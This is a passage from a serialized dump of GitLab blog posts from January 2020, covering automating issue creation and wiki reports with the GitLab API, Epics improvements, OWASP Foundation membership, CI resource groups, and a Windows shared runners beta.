Tracking","en-us/blog/iteration-on-error-tracking.yml","en-us/blog/iteration-on-error-tracking",{"_path":25258,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25259,"content":25265,"config":25270,"_id":25272,"_type":16,"title":25273,"_source":17,"_file":25274,"_stem":25275,"_extension":20},"/en-us/blog/gitlab-apis-ci",{"title":25260,"description":25261,"ogTitle":25260,"ogDescription":25261,"noIndex":6,"ogImage":25262,"ogUrl":25263,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25263,"schema":25264},"Using Gitlab APIs: Real Use Case Scenario","Learn about how GitLab CI and APIs can help you automate bulk tasks","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681037/Blog/Hero%20Images/gitlabapi-cover.jpg","https://about.gitlab.com/blog/gitlab-apis-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Using Gitlab APIs: Real Use Case Scenario\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Arias\"}],\n        \"datePublished\": \"2020-01-22\",\n      }",{"title":25260,"description":25261,"authors":25266,"heroImage":25262,"date":25267,"body":25268,"category":18484,"tags":25269},[8213],"2020-01-22","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nGitlab APIs along with  Continuous Integration can be very helpful when executing certain bulk tasks.\n\nConsider this requirement derived from a real-world scenario\n\n* Company XYZ possess several repositories that have been organized under a Gitlab group\n\n![group](https://about.gitlab.com/images/blogimages/gitlab-apis-ci/gitlab-group.png){: .shadow.medium.center.wrap-text}\n\n* The company needs to test the building of projects in bulk using new  hardware (Runner with different CPU Architecture) that will bring down  execution costs, whenever the build in each of the projects fails an issue must be  automatically created.\n\n![runner](https://about.gitlab.com/images/blogimages/gitlab-apis-ci/runner.png){: .shadow.medium.center.wrap-text}\n\n* Lastly, all the issues that were automatically created whenever a project built failed,  should be collected in bulk and reported back to a Wiki\n\n![pipelineview](https://about.gitlab.com/images/blogimages/gitlab-apis-ci/3-pipelineview-collect-issues.png){: .shadow.medium.center.wrap-text}\n\nHow do we test the building of those several projects and create issues and reports about its execution automatically? Let's use Gitlab CI and  APIs.\n\n\n## 1. Company groups and projects Structure\n\nIn this case, the set of projects were grouped under a single group, following this structure:\n\n![groupview](https://about.gitlab.com/images/blogimages/gitlab-apis-ci/4-group-view-api-blog.png){: .shadow.medium.center.wrap-text}\n\n## 2. Automatically creating Issues leveraging Gitlab CI and API\n\nIn order to create issues using Gitlab API we will use the Issues API an example of that  can use the following cURL command:\n\n![curl](https://about.gitlab.com/images/blogimages/gitlab-apis-ci/5-create-issue-api-gitlabapi.png){: .shadow.medium.center.wrap-text}\n\nThe API Call: \n\n `curl --request POST --header \"PRIVATE-TOKEN:$ISSUE_API_KEY\" \"https://gitlab.com/api/v4/projects/$CI_PROJECT_ID/issues?title=Build%20Failed&labels=ARMbuild&description=Project%20Tests%20Failed%20on%20ARM\"`\n\n The previous Gitlab API call can be configured to be executed whenever a job fails. Let's dissect this API Call to understand its parameters so you can potentially customize it  for your project environment\n\n* Base URL:  https://gitlab.com/api/v4/projects\n* Project where we want to add the issue:  $CI_PROJECT_ID Notice this ID is unique and corresponds to the project where the CI/CD pipeline runs \n* Issues: Endpoint we use to tell Gitlab we want to add an issue to the project\n* Parameters:\n  * Title: How we want the issue to be titled\n  * Labels: Helpful to group issues by label or type, They help you organize and tag your work so you can track and find the work items you’re interested in.\n  * Description: Field to explain the nature of the issue if needed\n\n The request is of type POST, because we are sending data to our receiver service.  For this call to be successful it requires  authentication for which we will use *PRIVATE-TOKEN* header\n\n The private token can be generated by following these steps [How-to-generate-token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html)\n\nWhen we execute the above API call, we create an issue in the corresponding Gitlab project\n![issueproject](https://about.gitlab.com/images/blogimages/gitlab-apis-ci/5-issues-created.png){: .shadow.medium.center.wrap-text}\n\nGreat, so once the multi-project pipeline has run,  each of the projects that failed in its building stage will create an issue warning us to double check why it failed while documenting the failure and labeling it for future follow-up.\n![multiproject](https://about.gitlab.com/images/blogimages/gitlab-apis-ci/7.1-multiproject-pipeline-gitlabapi.png){: .shadow.medium.center.wrap-text}\n\n## 3. Automatically collecting all the issues from Gitlab Group\n\nThanks to Gitlab CI and APIs we can collect all the issues created and report them back, by adding this script  in  your pipeline stage\n\n![collectissues](https://about.gitlab.com/images/blogimages/gitlab-apis-ci/7-collecting-issues-apiblog.png){: .shadow.medium.center.wrap-text}\n\nLet's dissect again the main API call:\n\n`curl --header \"PRIVATE-TOKEN:$GROUP_ISSUE_LIST\" \"https://gitlab.com/api/v4/groups/9123625/issues`\n\n* Base url: https://gitlab.com/api/v4/\n* Group resource: /groups/9123625\n* Issues resources: /issues \n\nThe previous API call will return a json object, the one we will save as an artifact when executing our pipeline job. Notice this artifact is created and saved automatically by Gitlab CI\nGreat! So far we created issues per failed project, and collected them all in one single step\n\n\n## 4. Reporting back to Wiki Project \n\n![wikijob](https://about.gitlab.com/images/blogimages/gitlab-apis-ci/8-reportwiki-gitlab-api.png){: .shadow.medium.center.wrap-text}\n\nFor convenience, the json report was transformed to markdown, then using the following script we publish the markdown report to the Wiki of an specific project\n\n`curl --data \"format=markdown&title=$CI_JOB_ID&content=$results\" --header \"PRIVATE-TOKEN:$API_WIKI\" \"https://gitlab.com/api/v4/projects/20852684/wikis\"`\n\nLet's breakdown again the API call:\n\n* Base url: https://gitlab.com/api/v4/\n* Project resource ID : /projects/20852684\n* Wiki resource: /wiki\n* Parameters: \n  * Data format: markdown. We want to publish a markdown table\n  * Title: Title of the Wiki entry, we use the environment variable corresponding to the CI_JOB that was executed\n  * Content: The markdown table generated with the issues collection\n\n Finally, when the last API call has been executed, this is an example of the output we can get: \n\n ![report](https://about.gitlab.com/images/blogimages/gitlab-apis-ci/10-test-report-gitlabapi.png){: .shadow.medium.center.wrap-text}\n\nLet's recapitulate, by using Gitlab CI in a multi project pipeline along with APIs we were able to test and report automatically x-number of projects and its compatibility with a new hardware CPU architecture. More information about the APIs utilized for this project here:\n\n[Issues-api](https://docs.gitlab.com/ee/api/issues.html#new-issue)\n[Collect-group-issues](https://docs.gitlab.com/ee/api/issues.html#list-group-issues)\n[WikisAPI](https://docs.gitlab.com/ee/api/wikis.html)\n\n[Multi-project-pipeline](https://about.gitlab.com/blog/cross-project-pipeline/)\n\n\nIf you’d like to see GitLab’s API in action, watch this [video](https://youtu.be/zdBwMHARkU0?t=469).\n\nFor more information, visit [LEARN@GITLAB](https://about.gitlab.com/learn/).\n\nCover image credit:\n\nCover image by [Mohanan](https://unsplash.com/photos/yQpAaMsQzYE) on [Unsplash](https://unsplash.com)\n{: .note}\n\n",[1384,944,4103,4144],{"slug":25271,"featured":6,"template":678},"gitlab-apis-ci","content:en-us:blog:gitlab-apis-ci.yml","Gitlab Apis Ci","en-us/blog/gitlab-apis-ci.yml","en-us/blog/gitlab-apis-ci",{"_path":25277,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25278,"content":25284,"config":25289,"_id":25291,"_type":16,"title":25292,"_source":17,"_file":25293,"_stem":25294,"_extension":20},"/en-us/blog/epics-three-features-accelerate-your-workflow",{"title":25279,"description":25280,"ogTitle":25279,"ogDescription":25280,"noIndex":6,"ogImage":25281,"ogUrl":25282,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25282,"schema":25283},"3 Major improvements coming to GitLab Epics","Explore three new features of GitLab Epics to enhance your workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671891/Blog/Hero%20Images/epicsimprovements.jpg","https://about.gitlab.com/blog/epics-three-features-accelerate-your-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 Major improvements coming to GitLab Epics\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2020-01-21\",\n      }",{"title":25279,"description":25280,"authors":25285,"heroImage":25281,"date":25286,"body":25287,"category":736,"tags":25288},[20767],"2020-01-21","\n[Epics](https://docs.gitlab.com/ee/user/group/epics) allow teams to organize work into a useful collection of [issues](https://docs.gitlab.com/ee/user/project/issues), enabling proper planning to hit larger targets or function features. The [Plan:Portfolio Management team](https://handbook.gitlab.com/handbook/engineering/development/dev/plan/product-planning/) has been tinkering away to improve GitLab Epics. \n\n## How planning with epics provides insight  \n\nEpics group themed items to work at different levels, depending on the individual working on the project. Product managers, engineers, and leadership all require different information from projects, and epics enable teams to stay connected without getting lost in a sea of issues.\n\n> “Epics are collections of work that move teams towards a goal and can be business or engineer focused. Operations teams might need to take a closer look at meeting customer needs, solving a problem, or rolling out a feature. An engineer might care about the very specific pieces of work they need to do to accomplish something, to release the next segment, or to put up the next MVC. Epics allow you to organize work, providing visibility at the right level. Different teams are all connected and related with each other, so we're able to stay lockstep in our proper zones.” – [Keanon O'Keefe](/company/team/#kokeefe), Senior Product Manager\n\nEpics break down information silos, since team members can quickly access information across a project. Without epics, teams may have to trudge through thousands of issues to identify relevant data. Cleanly sorting issues into epics results in an increase in visibility and a reduction in cycle time.\n\n## Three improvements \n\nWhen we [released GitLab Epics in 11.3](/blog/epics-roadmap/), our [MVC](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) offered simple functionality and a roadmap. In recent months, we’ve started to iterate on those original MVCs to provide real value versus function. We're working on three significant iterations on epics to help teams enhance their workflow.\n\n### 1. Create issues from epics\n\nUsers can now create issues directly from epics, removing the step of navigating to a new tab before switching back to relate the issue to the epic. \n\n![A screenshot of a webpage that shows a button called create new issue](https://about.gitlab.com/images/blogimages/createanissuefromepic.png){: .shadow.medium.center}\n\nThis improvement allows users to create a new issue directly from an epic.\n{: .note.text-center}\n\nWith this improvement, users can create issues that correspond to a given epic, enabling them to break down a project into more digestible vertical feature slices.\n\n#### A quality of life improvement \n\nThe Plan:Portfolio team received user feedback that it was frustrating to manually create and relate issues in separate tabs. These additional steps disrupted workflow and didn’t meet expectations on how to efficiently iterate on a roadmap. With this quality of life improvement, users can now quickly iterate on the issues that comprise the larger epic.\n\nBy automatically relating issues to epics, users will no longer “lose” issues if they forget to manually relate them. This feature saves teams time and simplifies organization and planning.\n\n_Follow our progress by visiting [the issue](https://gitlab.com/gitlab-org/gitlab/issues/5419)_\n\n### 2. Weight and progress on roadmaps\n\nWhen viewing a roadmap, users can quickly understand the completion progress of each item. This information helps teams determine whether an epic is on track to be completed by the assigned end date.\n\nIf issues aren't groomed regularly, especially when it comes to issue weights, it can be difficult to trust any progress completion data on a roadmap, because it may not consider the historical velocity of the team implementing it. With this improvement, teams can quickly retrieve accurate, reliable data.\n\n#### An increase in visibility\n\nThis feature gives teams the ability to look at the roadmap and immediately recognize whether a project is behind or ahead of schedule. Previously, users had to manually calculate progress and estimate whether goals were attainable. This new view helps teams report progress outwards, allocate additional support to lagging items, and gain better visibility into the progression towards goals.\n\n![A screenshot of a webpage that shows projects and the corresponding progress and due date](https://about.gitlab.com/images/blogimages/weightandprogressepics.png){: .shadow.medium.center}\n\nThe new view will allow users to see quickly whether a project is on track.\n{: .note.text-center}\n\n> “Team members can self-serve information. And from a product manager’s perspective, especially when you look at a company like ours in which we’re all remote, if I need an update that’s not documented in an issue, I might have to wait until one of my engineers in APAC comes online to answer the question. If everything is demonstrated on a roadmap from a progress complete perspective, that can help me answer questions to customers or upper management on where things are at, without having to wait for a response from somebody else.”  – Keanon O'Keefe\n\nThe idea is that it saves time, because a manager, director, or executive who looks at this roadmap has instant insight into progress. They don't have to ping the engineering manager who may then need to ping the developers. We’ve reduced the necessary steps in communicating progress and the ability to share information.\n\n**Tip**: This feature depends on leveraging [the weight option](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html). Keanon recommends weighting every issue assigned to an epic to provide the most accurate representation of the amount of work associated and your progress.\n\n_Follow our progress by visiting [the issue](https://gitlab.com/gitlab-org/gitlab/issues/5164)_\n\n### 3. Expand epics on roadmaps to view hierarchy\n\nChild epics are now displayed under their parent epics on the roadmap, enabling users to view the hierarchy of work. With this feature, users can get a detailed view of the work involved over a timeline. Because users can view hierarchy, they’re able to quickly see related work to track progress and determine whether an overall project will meet a goal. \n\n![A screenshot of a webpage that shows a parent epic and the child epics, with corresponding progress and due dates](https://about.gitlab.com/images/blogimages/expandepicsinroadmap.png){: .shadow.medium.center}\n\nThis feature gives users a detailed view of work involved over the project timeline.\n{: .note.text-center}\n\n> “What this change will do is allow you to look at a parent epic and actually click on it so that it expands kind of like a drawer. It will show the parent epic, which might be something that someone at an executive or director level cares about, while individual teams or engineering managers can view more granular details with child epics.” – Keanon O'Keefe\n\nThis improvement complements weights and progress on roadmaps, since it provides even more ways to view data and details. \n\n#### An ordered approach\n\nFrom an organizational standpoint, this iteration enables teams to properly sequence their plans. For example, teams that need to build a section of the backend before starting work on the frontend can quickly determine whether they’re on track to meet timelines or how much more work needs to be completed before another team can begin their work. This is our first step in empowering teams to sequence their work, and it’s an opportunity to allow teams to tailor the view of the roadmap to the audience.\n\n“We have a great set of designers, engineering managers, developers, and product people in Plan. I'm very impressed at how quickly everybody rallied together to move things forward. Many of these iterations are difficult from a design perspective, and I’m impressed with how the team approaches challenges and determines how to get the right data and visual at the right level, while allowing teams to drill down or drill up easily.” – Keanon O'Keefe\n\n**Tip**: It’s important to assign start and due dates to epics, whether you leverage the dates that are inherited or ones you set manually, so that child epics are properly displayed on the roadmap in relation to their parent.\n\n_Follow our progress by visiting [the issue](https://gitlab.com/gitlab-org/gitlab/issues/7077)_\n\n### What’s next for GitLab Epics?\n\nThe team is just getting started with its improvements to GitLab Epics. This is an area that we’re committed to accelerating, and we want to offer the most effective tools for product and portfolio management. “We’ve built out a strong team, and we’re hitting our stride and reaching our potential for releasing functionality,” says Keanon. \n\nOne of the next opportunities the Plan:Portfolio Management team will undertake is collaborating with Plan:Certify on [dependency mapping](https://gitlab.com/gitlab-org/gitlab/issues/2035), which will enable teams to surface dependencies on the roadmap. With dependency mapping, development and operations teams can view a sequence of work, identify blockers, and understand whether they’ll meet target deadlines. This feature will help larger organizations plan multiple projects simultaneously, see dependencies, and identify a critical path of work. \n\n> “We are just getting started with delivering tools that offer functionality between different groups. We have some exciting features coming soon.” – Keanon O'Keefe\n\nIf you’re interested in learning more about the team’s direction, please read more about the vision for Epics.\n\n_Thank you to [Keanon O'Keefe](/company/team/#kokeefe), Senior Product Manager, Plan:Portfolio Management, for contributing to this post._\n\nCover image by [Maarten van den Heuvel ](https://unsplash.com/@mvdheuvel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/8EzNkvLQosk)\n{: .note}\n",[1899,2368,1444],{"slug":25290,"featured":6,"template":678},"epics-three-features-accelerate-your-workflow","content:en-us:blog:epics-three-features-accelerate-your-workflow.yml","Epics Three Features Accelerate Your Workflow","en-us/blog/epics-three-features-accelerate-your-workflow.yml","en-us/blog/epics-three-features-accelerate-your-workflow",{"_path":25296,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25297,"content":25303,"config":25307,"_id":25309,"_type":16,"title":25310,"_source":17,"_file":25311,"_stem":25312,"_extension":20},"/en-us/blog/gitlab-is-now-a-member-of-the-owasp-foundation",{"title":25298,"description":25299,"ogTitle":25298,"ogDescription":25299,"noIndex":6,"ogImage":25300,"ogUrl":25301,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25301,"schema":25302},"GitLab is now a member of the OWASP Foundation","GitLab is thrilled to announce our membership in the OWASP Foundation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679658/Blog/Hero%20Images/Owasp_logo.jpg","https://about.gitlab.com/blog/gitlab-is-now-a-member-of-the-owasp-foundation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is now a member of the OWASP Foundation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2020-01-21\",\n      }",{"title":25298,"description":25299,"authors":25304,"heroImage":25300,"date":25286,"body":25305,"category":674,"tags":25306},[16519],"\n\nGitLab is thrilled to announce our membership in the [OWASP Foundation](https://www2.owasp.org/).  OWASP is a non-profit that works to improve the security of software through open-source projects, worldwide local chapters, tens of thousands of members, and educational/training conferences.\n\nWe leverage OWASP to help provide security features integrated into the development lifecycle via the [Secure stage](/stages-devops-lifecycle/secure/) and defending your apps and infrastructure from security intrusions via the [Protect stage](/stages-devops-lifecycle/govern/).  We also leverage OWASP on our  [security team](/handbook/security/) who are responsible for the security posture of the company, products, and client-facing services.\n\n## Our favorite OWASP initiatives\n\nOur favorite OWASP initiatives include:\n* [OWASP Top 10](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) - standard awareness document for developers for web application security\n* [WebGoat](https://owasp.org/www-project-webgoat/) - a deliberately insecure application that allows interested developers to test commonly found vulnerabilities\n* [ModSecurity WAF ruleset](https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project) - a set of generic attack detection rules for use with web application firewalls\n* [ZED Attack Proxy](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) - a penetration testing tool designed for testing web applications\n* [Benchmark](https://www.owasp.org/index.php/Benchmark) - a test suite designed to evaluate the accuracy, coverage, and speed of automated software vulnerability detection tools\n* [Find Security Bugs](https://www.owasp.org/index.php/OWASP_Find_Security_Bugs) - find security bugs\n* [Dependency Check](https://www.owasp.org/index.php/OWASP_Dependency_Check) - a tool that attempts to detect publicly disclosed vulnerabilities contained within a project’s dependencies\n* [Juice Shop](https://owasp.org/www-project-juice-shop/) - an intentionally insecure web application that can be used in security training and validation\n* [Software Assurity Maturity Model](https://www.owasp.org/index.php/OWASP_SAMM_Project) - an open framework to help organizations formulate and implement a strategy for software security\n\nOur membership allows us to support these OWASP projects while also allowing us to help shape the direction of the OWASP community.\n\n## OWASP AppSec California\n\nPlease meet us at [OWASP's AppSec California conference](https://2020.appseccalifornia.org/), which we are sponsoring.  It is Jan 21 thru Jan 24 in Santa Monica, CA.\n\n## We are hiring!\n\nIf all of this piques your interest, a reminder that GitLab is hiring for our engineering (secure, protect) and security teams!  Please review our [open jobs](/jobs/).\n\n",[277,736,815,674],{"slug":25308,"featured":6,"template":678},"gitlab-is-now-a-member-of-the-owasp-foundation","content:en-us:blog:gitlab-is-now-a-member-of-the-owasp-foundation.yml","Gitlab Is Now A Member Of The Owasp Foundation","en-us/blog/gitlab-is-now-a-member-of-the-owasp-foundation.yml","en-us/blog/gitlab-is-now-a-member-of-the-owasp-foundation",{"_path":25314,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25315,"content":25321,"config":25325,"_id":25327,"_type":16,"title":25328,"_source":17,"_file":25329,"_stem":25330,"_extension":20},"/en-us/blog/introducing-resource-groups",{"title":25316,"description":25317,"ogTitle":25316,"ogDescription":25317,"noIndex":6,"ogImage":25318,"ogUrl":25319,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25319,"schema":25320},"Introducing: Resource groups","How we’re improving deployments by limiting pipeline concurrency.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679102/Blog/Hero%20Images/resource-groups.jpg","https://about.gitlab.com/blog/introducing-resource-groups","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing: Resource groups\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-01-21\",\n      }",{"title":25316,"description":25317,"authors":25322,"heroImage":25318,"date":25286,"body":25323,"category":8943,"tags":25324},[18462],"\nGitLab CI/CD pipelines build, test, deploy your code as part of a single workflow integrated across all [stages of the DevOps lifecycle](/topics/devops/). Ultimately, we want to enable teams to deploy better software faster to their customers, and we do that by continually [iterating](https://handbook.gitlab.com/handbook/values/#iteration) on new and existing features to improve the GitLab experience.\n\nContinuous delivery is all about making sure that [CI-validated code](/solutions/continuous-integration/) goes through a structured deployment pipeline. While GitLab CI continues to be [a top-rated solution in continuous integration](/analysts/forrester-cloudci19/), we want our continuous delivery capabilities to be just as loved and feedback from the GitLab community plays a big role in how we improve the user experience.\n\nAt GitLab, everything we do is [public by default](https://handbook.gitlab.com/handbook/values/#public-by-default). This allows us to collaborate and share ideas, documentation, examples, and processes with the whole community. The original idea of limiting pipeline concurrency using resource groups was introduced by [@inem](https://gitlab.com/inem) in [a public issue](https://gitlab.com/gitlab-org/gitlab/issues/15536) and the response was certainly enthusiastic.\n\n![Resource groups response](https://about.gitlab.com/images/blogimages/resource-groups-1.png){: .shadow.small.center}\n\nFor some users, they found that running multiple pipelines and/or jobs at the same time in an environment would lead to errors. Some pipelines and/or jobs use unique resources, and concurrent deployments meant that multiple users were affecting the environment with some unintended consequences.\n\n### Example:\n\nLet's say your team is developing a mobile app and you deploy it for testing purposes to a physical smartphone on a Friday afternoon. Maybe you're a startup and only have one or two phones for this purpose. You may need to clear the cache and delete the app before downloading it again so you can start the test clean. But what if in the middle of your test, someone else decides to clear the data on that device? Situations like this would inevitably cause errors, leaving teams with little choice but to coordinate these deployments amongst themselves.\n\nWe’re always working hard to enable [speedy, reliable pipelines](/direction/ops/#speedy-reliable-pipelines). Coming to GitLab 12.7, available tomorrow, we’re introducing the `resource_group` attribute to projects so that only one job can deploy to a specific resource group at any given time. This will improve deployment flows, especially when deploying to physical environments.\n\nIf we go back to the mobile phone example, the phone would be it’s own `resource_group` and will only have one deployment at a time. If another deployment were to try and run on this device, the job will be queued until the first job is finished with the message “waiting for resource.”\n\n![waiting on resource](https://about.gitlab.com/images/blogimages/resource-groups-2.png){: .shadow.medium.center}\n\nTeams can define multiple `resource_group`(s) for their environment in `.gitlab-ci.yml`. Even if running separate pipelines, as long as a `resource_group` is assigned then the jobs will not run concurrently. Tools like [Terraform](https://www.terraform.io/docs/internals/graph.html) similarly help users manage concurrencies by limiting resources.\n\nAs we continue to improve and iterate on our [product vision for continuous delivery](/direction/ops/), we’ll be looking to make future improvements to resource groups and deployment environments. Some of our plans include implicit environment locking, [only allowing forward incremental deployments](https://gitlab.com/gitlab-org/gitlab/issues/25276), and the flexibility to define concurrency values (the default of 1 can’t be configured in this release).\n\nPlease join us in our [public epic](https://gitlab.com/groups/gitlab-org/-/epics/1294) where we discuss continuous delivery and feel free to give feedback or suggestions on ways we can improve deployments. Everyone can contribute.\n\nCover image by [mostafa meraji](https://unsplash.com/@mostafa_meraji?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/turnstile?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[110,1444],{"slug":25326,"featured":6,"template":678},"introducing-resource-groups","content:en-us:blog:introducing-resource-groups.yml","Introducing Resource Groups","en-us/blog/introducing-resource-groups.yml","en-us/blog/introducing-resource-groups",{"_path":25332,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25333,"content":25339,"config":25343,"_id":25345,"_type":16,"title":25346,"_source":17,"_file":25347,"_stem":25348,"_extension":20},"/en-us/blog/windows-shared-runner-beta",{"title":25334,"description":25335,"ogTitle":25334,"ogDescription":25335,"noIndex":6,"ogImage":25336,"ogUrl":25337,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25337,"schema":25338},"Windows Shared Runners beta now available on GitLab.com","Scalable Windows VM's for running Windows build jobs on GitLab.com.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681027/Blog/Hero%20Images/windows-shared-beta.jpg","https://about.gitlab.com/blog/windows-shared-runner-beta","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Windows Shared Runners beta now available on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Eastman\"}],\n        \"datePublished\": \"2020-01-21\",\n      }",{"title":25334,"description":25335,"authors":25340,"heroImage":25336,"date":25286,"body":25341,"category":734,"tags":25342},[5037],"\n\n\nGitLab has had support for Windows CI/CD Runners for quite a long time, but if you were doing Windows development, you needed to [install and manage these Runners](https://docs.gitlab.com/runner/install/windows.html) yourself. This works great for customers who prefer to manage their own Runners, but for customers who prefer to use GitLab.com shared Runners managed by the GitLab team, the choice has been limited to Linux.\n\nToday, we are happy to announce that Windows Shared Runners hosted by GitLab is available in beta. As we are starting to roll out this important service to our community, we invite you to help shape the direction of CI/CD tooling for the Windows ecosystem on GitLab.com.\n\n## What's new?\n\nNow, you can take advantage of a fully-managed, auto-scaling, and secure environment for running your build jobs on Windows virtual machines (VMs). These GitLab-hosted Windows Shared Runners are pre-configured with various software packages such as the Chocolately package manager for Windows,  Visual Studio 2019 Build Tools, Microsoft .Net Framework, to name a few. So you have a base set of tooling to start building your Windows applications without needing to set up and install your own self-hosted Windows Runners. You can find a full list of available Windows packages in the package [documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/main/cookbooks/preinstalled-software/README.md).\n\nWith the Windows Shared Runners on GitLab.com, each job runs in a new virtual machine instance that gets deleted after the job is complete, ensuring that your code is 100% isolated and secure. We also take care of maintenance and upgrades to the pre-configured software packages, so you don't have to. Just like with GitLab.com Linux Runners, there’s no requirement to use Shared Runners. If your build tooling configuration or security requirements demand it, you can, as always, [install and self-host Windows Runners](https://docs.gitlab.com/runner/install/windows.html) on your infrastructure.\n\n## Technology Overview\n\nThe following details a few key specifications for the Windows Shared Runners:\n\n- The Windows Shared Runners use the GitLab [custom executor](https://docs.gitlab.com/runner/executors/custom.html) that we introduced in 12.1.\n- A new Windows Shared Runners virtual machine is created for each pipeline job and deleted after the job is completed.\n\n## Pricing\n\nTo begin with, Windows Shared Runner pricing will be the same as Linux Runners. Usage for Windows Runners will be deducted from your Runner minute pool [depending on your plan](/pricing/#gitlab-com). You can optionally [purchase additional runner minutes](https://docs.gitlab.com/ee/subscriptions/gitlab_com/#purchase-additional-ci-minutes) that will be used for both Linux and Windows shared runners.\n\nIn the future, Windows Shared Runners will likely use separate pricing that is higher than Linux Minutes. Any future [pricing](https://gitlab.com/gitlab-org/gitlab/issues/30834) changes will be announced on the GitLab blog.\n\n\n## Getting started\n\nTo get started, create a `.gitlab-ci.yml` file in your GitLab hosted project's root directory and add the following tags: `shared-windows`, `windows`, and `windows-1809`  as shown in the example configuration file.\n\n```\n.shared_windows_runners:\n  tags:\n  - shared-windows\n  - windows\n  - windows-1809\n\nstages:\n  - build\n  - test\n\nbefore_script:\n - Set-Variable -Name \"time\" -Value (date -Format \"%H:%m\")\n - echo ${time}\n - echo \"started by ${GITLAB_USER_NAME}\"\n\nbuild:\n  extends:\n  - .shared_windows_runners\n  stage: build\n  script:\n  - echo \"running scripts in the build job\"\n\ntest:\n  extends:\n  - .shared_windows_runners\n  stage: test\n  script:\n  - echo \"running scripts in the test job\"\n```\n\nIncluding the `.gitlab-ci.yml` file in the project repository means that any new commits will trigger the execution of your [GitLab CI/CD pipeline](/topics/ci-cd/).  In this file, you have the option of specifying tags so that a job will only run on GitLab Runners that match the tag specified. For more information on the use of tags, refer to the [tags](https://docs.gitlab.com/ee/ci/yaml/#tags.) section of the GitLab CI/CD Pipeline Configuration Reference documentation. The [Shared Runners](https://docs.gitlab.com/ee/user/gitlab_com/#shared-runners) section of the GitLab.com settings documentation page covers more configuration information for the Windows Shared Runners.\n\n\n## Notable limitations and known issues\n\nThe hosting of Windows Shared Runners is a new service on GitLab.com. This section covers any limitations or known issues that users of the beta should take into consideration when using this service.\n\n- The average provisioning time for a new Windows VM is at five minutes. This means that for the beta, you will notice slower build start times on the Windows Shared Runners fleet compared to Linux. In a future release, we will add capabilities to the autoscaler to enable the pre-warming of the virtual machine instances. This will significantly reduce the time it takes to provision a VM on the Windows fleet. Additional details and plans are covered in this [issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/issues/32).\n- Pending queue times will be longer than the queue times on the Linux Shared Runner fleet.\n- Since Windows Shared Runners are currently in beta, the performance, uptime, and capabilities will be limited, and so, they are not recommended for production use.\n- The Windows Shared Runners virtual machine instances do not use the GitLab Docker executor. This means that unlike the Linux Shared Runners, you will not be able to specify `image` and `services` in your pipeline configuration.\n- For the beta release, we have included a set of software packages in the base VM image. If your CI job requires additional software that's not included in this [list](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/tree/master/cookbooks/preinstalled-software), then you will need to add installation commands to `before_script` or `script` to install the required software. Note: Each job runs on a new VM instance, so the installation of additional software packages needs to be repeated for each job in your pipeline.\n- There is the possibility that we introduce breaking changes that will require updates to pipelines that are using the Windows Shared Runner fleet.\n\n## Next steps\n\nWe [plan](https://gitlab.com/groups/gitlab-org/-/epics/2162) to continue to iterate quickly and improve the build environment, Runner, and tooling during the beta period. We invite you to complete this short [form](https://forms.gle/9qaB2kQcBX93PVax5) because your feedback is critical to helping us prioritize work on the most valuable improvements to the Windows Shared Runners solution.\n\nTo report a bug or request a feature or enhancement, follow these steps:\n- Open an issue in the [GitLab Runner project](https://gitlab.com/gitlab-org/gitlab-runner/issues).\n- Describe the feature enhancement and, if possible, include any links to examples from your repository.\n- Add these labels to the issue: `Shared Runners::Windows`, `group::runner`\n- Tag [@DarrenEastman](https://gitlab.com/DarrenEastman) on the issue.\n\n\n\n\nCover photo by William Daigneault on [Unsplash](https://unsplash.com/)\n{: .note}\n\n\n",[110],{"slug":25344,"featured":6,"template":678},"windows-shared-runner-beta","content:en-us:blog:windows-shared-runner-beta.yml","Windows Shared Runner 